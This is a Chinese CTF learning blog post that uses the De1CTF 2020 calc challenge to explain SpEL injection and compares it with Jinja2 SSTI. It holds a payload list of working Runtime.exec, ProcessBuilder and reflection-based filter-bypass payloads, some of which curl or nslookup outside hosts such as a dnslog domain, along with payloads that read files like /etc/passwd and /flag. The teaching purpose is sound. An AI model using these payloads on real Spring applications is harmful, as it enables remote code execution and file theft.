由一道SpEL注入题引发的对SpEL的学习和对SSTI的思考

前言

原题来自De1ctf 2020 calc,题目链接

http://106.52.164.141/

题目中是一个表达式计算器,通过后端计算返回表达式结果,此处存在SpEL注入,由于并没有接触过SpringJava,所以我将尽力从一次做题的角度来理解SpEL,以后有机会会将原理补全。

SpEL理解

Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。

通俗理解SpEL就是Spring框架的一种渲染语言,我理解就类似于Flask使用的Jinjia2模板渲染。本来设计使用SpEL是为了方便进行属性的提取和计算(这也是很多模板渲染器的初衷),但由于缺少对用户输入数据(待渲染内容)的校验,造成了恶意代码执行的问题。

SpEL功能用法

SpEL使用#{...}来作为定界符(${...}来引用属性),类似Jinjia2中使用{{}}一样,在#{...}中大括号包裹的部分是待计算表达式,一般恶意注入就是用这里开始的,同样值得一提的是SpEL中会使用到T()来调用作用域内的类函数方法,例如T(java.lang.Math)来调用Math类,常用的SpEL的使用方法有如下三种

  • 使用T()操作符来执行
T(java.lang.Runtime).getRuntime().exec("cat /etc/passwd")
  • 使用new来生成对象
new java.util.Date()
  • Java表达式
'abc'.substring(2, 3)

SpEL漏洞利用

常用的普通payload

${12*12}
T(java.lang.Runtime).getRuntime().exec("nslookup a.com")
T(Thread).sleep(10000)
#this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup a.com')
new java.lang.ProcessBuilder({'nslookup a.com'}).start()
T(org.apache.commons.io.IOUtils).toString(payload).getInputStream())
//java9
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()

但通常会有遇到过滤,针对关键词过滤,可以用以下绕过方法

  • java.lang.Runtime被过滤,可以使用字符拼接
''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'ls')

invoke(function, args)Java的反射机制,直观理解就是调用类的某个方法

如果直接执行exec就应该是这样getRuntime().exec("curl blah"),但如果是用invoke来调用就应该这样

execMethod.invoke(
getRuntimeMethod.invoke(null), // object you are making a method call against
"curl postb.in_url_here" // parameter to your method call
)

getRuntimeMethod.invoke(null)会返回Runtime的实例来调用exec

  • java.lang.Runtime被过滤,getClass也被过滤,还可以用数组下标的方法
"a".class.forName("ja"+"va.lan"+"g.Ru"+"ntime").getMethods()[13].invoke("a".class.forName("ja"+"va.lan"+"g.Ru"+"ntime").getMethods()[6].invoke(null),"curl http://bewsko.dnslog.cn")
  • Java8 直接读文件
"a".class.forName("java.nio.file.Files").readAllLines("a".class.forName("java.nio.file.Paths").get("/flag"))
(NEW java.io.BufferedReader(NEW java.io.FileReader("/flag"))).readLine()

SSTI的思考

做完这题以后,最直接的感受就是SpEL本质上就是一种SSTISSTI漏洞在比赛中最常见于FlaskJinjia2渲染器,在Jinjia2中一些常规的绕过思路和SpEL也是相类似的,即

  • SpEL中是重点去构造java.lang.Runtime类,Jiajia2中核心思路是去构造__builtins__
  • 遇到关键字过滤时SpELJinjia2都是利用字符拼接和用数组下标引用来获得关键字函数

然后提一下在Jinjia2中会用到的绕过思路,在此处SpEL中没有用到的

  • Jinjia2可以通过解base64编码来获得字符串名称,例如'X19jbGFzc19f'.decode('base64')
  • Jinjia2中可以使用request.args传值的绕过字符检查,例如使用request.args.a然后get请求时传递a=__builtins__就可以绕过__builtins__关键字检查

一些参考链接

De1ctf 2020 calc wp
SpEL一些绕过方法
SpEL注入介绍1
SpEL注入介绍2

posted @ 2020-05-06 17:07  po1ng  阅读(764)  评论(0编辑  收藏  举报